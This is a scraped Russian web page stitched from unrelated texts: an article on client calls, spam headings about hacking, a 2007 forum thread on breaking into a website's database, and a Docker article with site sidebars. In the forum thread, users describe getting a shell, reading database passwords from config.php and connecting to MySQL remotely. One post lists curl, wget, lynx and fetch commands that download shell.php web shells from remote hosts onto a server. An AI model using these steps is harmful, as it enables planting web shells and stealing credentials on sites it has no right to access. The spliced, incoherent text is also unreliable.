Привет! Меня зовут Никита, я работаю проджектом в digital-агентстве WIM.Agency. Одна из моих основных обязанностей — обеспечить взаимодействие клиента с дизайнерами, копирайтерами и кампейнами. В этой статье я хочу поделиться своим опытом и советами, которые помогают максимально приблизить нашу «реальность» к «ожиданию» заказчика.
Без созвона не обойтись
Ключ к пониманию задачи — ее предварительное обсуждение. Не «сделаю как понял, потом поправлю», а «сначала уточню, правильно ли я понял». Знаю, среди нас много интровертов, которые хотели бы жить в мире, где нет необходимости общаться голосом.
Но зачастую созвон — единственная возможность залезть в голову к клиенту.
Почему не переписка? Текст всегда можно трактовать двояко, плюс вы не слышите интонаций клиента. И, что немаловажно, на созвон уйдет меньше времени.
Потратив всего полчаса, вы убьете сразу двух зайцев:
— сократите время на правки, которые могли бы возникнуть;
— сможете доказать свою правоту, если клиент скажет «мы просили совсем другое».
Как подключиться к ЧУЖОМУ компьютеру? | Как получить ДОСТУП к компьютеру УДАЛЕННО?
Но обо всем по порядку.
Готовим вопросы
У вас было такое — пообщались с клиентом, а вопросов стало больше, чем было в начале? У меня — да. Поэтому я начал обстоятельно готовиться к встречам заранее.
Первым делом я собираю бриф с уточнениями по задаче. Чтобы ничего не пропустить, использую такой чек-лист.
Еще раз повторю, что с клиентом лучше созваниваться, нежели отправлять текстовый бриф или документ с шаблоном ТЗ. Просто потому, что во втором случае клиент может пропустить некоторые вопросы или понять их неправильно. Также клиент может делегировать заполнение брифа другому сотруднику, который не разбирается во всех деталях.
В то время как при созвоне мы можем получить развернутый ответ и сразу обсудить все непонятные моменты.
Организуем созвон
Теперь на основе брифа вы сможете понять, какие члены команды с вашей стороны и со стороны клиента нужны на созвоне. Важно поставить дату и время встречи, которые подходят всем, и установить ее примерную длительность (чем больше вопросов у вас получилось, тем больше времени уйдет на их обсуждение). Чтобы клиент понимал, о чем пойдет речь, отправьте ему план встречи.
Заранее договоритесь, кто из членов вашей команды будет записывать встречу, кто — вести обсуждение и фиксировать ход обсуждения. Чтобы не было недоразумений, сразу обговорите, какой сервис для онлайн-конференций вы будете использовать.
И, конечно, напомните клиенту о созвоне за час (или другой промежуток времени) до встречи. Так вы не только дадите собеседнику знать, что не забыли про колл, но и сами сможете узнать заранее, если он вдруг решил перенести встречу.
Проводим встречу. 5 советов
1. Кэповский совет, но, как ни странно, многие этого не делают и тем самым заставляют ждать других участников встречи. Заранее проверьте камеру и микрофон, чтобы все работало! Ваши технические неполадки не только не интересуют клиента, но еще и много говорят о вашей неорганизованности.
ВЗЛОМ ЧЕГО УГОДНО ЗА НЕСКОЛЬКО СЕКУНД. ИДЕАЛЬНЫЙ СПОСОБ.
2. Начните с пары слов о себе и напомните тему обсуждения.
3. Слушайте клиента как можно более активно и сосредоточенно, ведь этот созвон нужен в первую очередь вам самим. Отключите мессенджеры и ограничьте все отвлекающие факторы.
4. Обращайтесь к собеседнику по имени. Это не просто безотказный способ привлечь внимание. Обращаясь по имени вы располагаете человека к себе и создаете комфортную среду.
5. Не затягивайте встречу. Лучше обсудить то, что не успели, в другой раз.
Источник: vc.ru
Как залезть в программу
Страницы: 1
Как залезть в базу данных?
Это нравится: 0Да / 0Нет
30.04.2007 10:08:58
Как залезть в базу данных любого сайта?
Это нравится: 0Да / 0Нет
30.04.2007 10:16:56
Ну ты спросил. Для каждого сайта путь к базе данных индивидуален
Это нравится: 0Да / 0Нет
30.04.2007 10:18:16
Что ты хотел сказать под словом «индивидуален»?
Это нравится: 0Да / 0Нет
30.04.2007 10:25:20
Это нравится: 0Да / 0Нет
30.04.2007 10:32:10
Ну я например хочу зайти в базу данных на WAP-сайте(didrov.ru)?
Это нравится: 0Да / 0Нет
30.04.2007 10:36:20
Это нравится: 0Да / 0Нет
30.04.2007 11:28:55
Позвони админу сайта и спроси где у него phpmyadmin и скажи чтоб продиктовал тебе пароли.
Это нравится: 0Да / 0Нет
30.04.2007 11:31:12
ZEROska , Kollector Во-во, учись у умных людей, Kollector, это был бы самый мудрый способ
Это нравится: 0Да / 0Нет
30.04.2007 16:03:44
1. Вариант —Получи шелл доступ на данном сервер, затем Если знаешь про wget , curl , fetch, links,lynx, get > труда не заставит залить sql клиент (если ты конечно знаешь) , затем обычной командой locate или ручками находишь файл на сервере типа config.php или inc.php (обычно в начале файла указаны параметры db_user db_pass). От туда берешь логин и пароль(может быть так что найденные тобой данные для входа в базу относятся к одной и той же базе, где хранятся данные).
2. Вариант —Если уже и без выше написанного есть логин и пароль для нужной базы, можно попытаться выполнить telnet wap.com 3306 (я встречается что порт открыт для прослушивания, т.е. ты можешь просто залить sql клиент на свой хост и соединится с базой сайта удаленно, указав не localhost а название или ip сервера где хоститься твой сайт.)
Все прокатит на Mysql, но пойми это самая простая схема.(Может быть и другая база). Удачи.
Это нравится: 0Да / 0Нет
01.05.2007 07:12:23
zslade ! А где можно узнать про «wget , curl , fetch, links,lynx, get» и с чем его едят.
Это нравится: 0Да / 0Нет
01.05.2007 10:38:26
Этот сайт юзает 3 mysql. Вложенные запросы а также union не поддерживаются. Но есть возможность проведения dos через sql инекцию (что я не рекомендую делать).
Сообщений: 1446 Баллов: 1464 Регистрация: 28.09.2003
всего лишь человек.
Это нравится: 0Да / 0Нет
01.05.2007 14:16:04
| Kollector пишет: А где можно узнать про «wget , curl , fetch, links,lynx, get» и с чем его едят. |
А вообще, мой совет тебе: забей на взлом, если не хочешь променять славу на решётку. Судя по твоим вопросам — шансы у тебя очень большие
«Красота — как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно.»
Это нравится: 0Да / 0Нет
03.05.2007 02:59:48
| Kollector пишет: zslade! А где можно узнать про «wget , curl , fetch, links,lynx, get» и с чем его едят. |
Если есть шелл или ssh то обычно командой which wget или fetch, или man fetch!
Синтаксис
curl —output /papka/na/servere/shell.php http://site.com/shell.php wget -o /papka/na/servere/shell.php http://site.com/shell.php get http://site.com/shell.php > /papka/na/servere/shell.php links -source «http://site.com/shell.php» > /papka/na/servere/shell.php lynx -source http://site.com/shell.php > /papka/na/servere/shell.php fetch -o /papka/na/servere/shell.php http://site.com/shell.php get http://test2.ru/shells/rst.txt > uploads/sh.php
Источник: www.securitylab.ru
Как войти в запущенный Docker-контейнер и почему так делать не надо
– ключ -a покажет нам все контейнеры, в том числе погашенные. В выключенные вы, естественно, не зайдёте. И это первая причина не лезть своими шаловливыми ручками в контейнер. Нет, правда, что вы там хотите посмотреть?
Логи вы можете увидеть через
А если вы их там не видите – а вы вообще правильно используете Docker?
О вреде старых привычек
Часто вижу «оригинальные» подходы а ля «запущу ка я supervisord как entry point, а в нём подниму все остальные процессы». Спорить не буду – такой финт ушами пройдёт, но он возникает в основном от того, что лень разбираться с Docker, что повлечёт весьма странное поведение системы.
Используйте стандартные средства, не скупитесь на контейнеры: один контейнер – один небольшой простой процесс.
И если вам нужно перезапускать упавшие сервисы (некоторые пеняют на это) – используйте политики перезапуска Docker.
О шаловливых ручонках
Лезть в Docker-контейнер вредно потому, что вы решите (если решите) проблему для одного конкретного контейнера, который при следующем перезапуске будет перераскатан из образа. Стоит относиться к нему как к процессу без состояния – в любой момент могут быть потеряны все изменения, данные.
Поэтому и ковыряться в контейнере может иметь смысл, если вы разрабатываете в сервис в контейнере, но вносите все фиксы именно в образ.
Используйте внешние специализированные средства
Но что же делать, если вам таки надо иногда смотреть на нагрузку, читать логи и т.д.? Всё это стоит автоматизировать и упаковать в ваши сервисы, которые крутятся в Docker-контейнерах.
К примеру, логи можно собирать через filebeat, метрики через prometheus, а про ошибки узнавать не от пользователей, а через sentry.
Таким образом, на не нужно ходить в контейнер, а данные не потеряются при его дропе / перезапуске / выходе из строя хостовой машины. Вместо этого мы получаем централизованную систему для обработки служебных данных. А учитывая, что один запрос может ходить между несколькими сервисами, так ещё и проще будет разобраться в судьбе этого запроса, чем лезть на десяток машин.
Безопасность
Заметки об обеспечении безопасности в информационных системах. Настройка брендмауэров (фаерволов) на операционных системах Linux, Windows, MacOS, Unix. Новости об интересных уязвимостях в системах, мониторинге использования ресурсов, алертинге подозрительных действий. Работа …
Об управлении и настройках средства контейнеризации Docker (докер). Команды для настройки и эксплуатации Docker. Настройка сети, сборка образов, запуск программ в контейнере. Запускаем несколько сервисов в одной сети с помощью …
Виртуализация
Средства виртуализации, средства управления виртуальными серверами
Также может быть вам интересно:
- Настройка журналирования (логирования) в Python с примерами
- Так ли безопасен Linux? Несколько коммитов с уязвимосятми в stable
- Разграничение прав доступа на Django сайте
- Пользователи и их создание в Django — своя регистрация на сайте
- Пользователи и авторизация (логин) в Django, кастомизация пользователя
Свежее на «Цифре»
В Google Pixel и Windows Snipping Tool есть возможность восстановления обрезанных изображений
Новости, 23.03.2023
Два подарка «под ёлочку» от Heroes of Might and Magic
Новости, 25.12.2022
Вышел Pulsar – редактор кода на основе Atom
Новости, 25.12.2022
Ленивый backup PostgreSQL
Программы, 17.12.2022
Google анонсировала OSV-Scanner: сканер уязвимостей в программных проектах
Новости, 16.12.2022
Gitea запускает коммерческую версию, а недовольные – форк Forĝejo
Новости, 04.12.2022
Найдена уязвимость в утилите ping для FreeBSD
Новости, 02.12.2022
Тайпсквоттинг или как взламывать компьютеры через пакетные менеджеры
Если вы пользуетесь открытым ПО, пакетными менеджерами и прочими свободными разработками энтузиастов – вы в опасности.
Консольные команды
adb • Android Debug Bridge: связь с …
Общие команды
bat • Выводит и объединяет файлы. Как …
Общие команды
beep • Утилита для подачи звукового сигнала …
fuck • Исправляет предыдущую команду в консоли. …
Общие команды
losetup • Установка и настройка петлевых устройств. …
sort • Сортирует строки в текстовом файле. …
Общие команды
virsh • Менеджер гостевых систем virsh. Примечание: …
Общие команды
Решаем проблему ERROR 1348 column password is not updatable при обновлении пароля root в MySQL / MariaDB
В MySQL есть временами непонятные ограничения, которые не позволяют привычным нам образом его использовать. Однако, если разобраться, то всё начинает …
Решаем проблему ERROR 1372 (HY000): Password hash should be a 41-digit hexadecimal number и Error Code: 1064 в MySQL / MariaDB
MySQL и её новая сестричка из мира СПО – MariaDB довольно сильно распространены на хостингах, да и LAMP никто не …
От Google не уйти!?
Гугл плохой — выкачивает деньги, следит за нами, передаёт кому-надо информацию. Естественно, нельзя от него уйти, ведь он уникален! Судите …
У коммерческой Ubuntu увеличится время поддержки до 10 лет
Стоит ли удивиться, что время поддержки увеличит доход? Или же тому, что Canonical так долго к этому шёл?
Читеры. Документальный фильм
Читеры в играх – уже обыденность. Тем интереснее узнать об этой индустрии: сколько они стоят, зачем делаются, зачем используются?
Источник: 900913.ru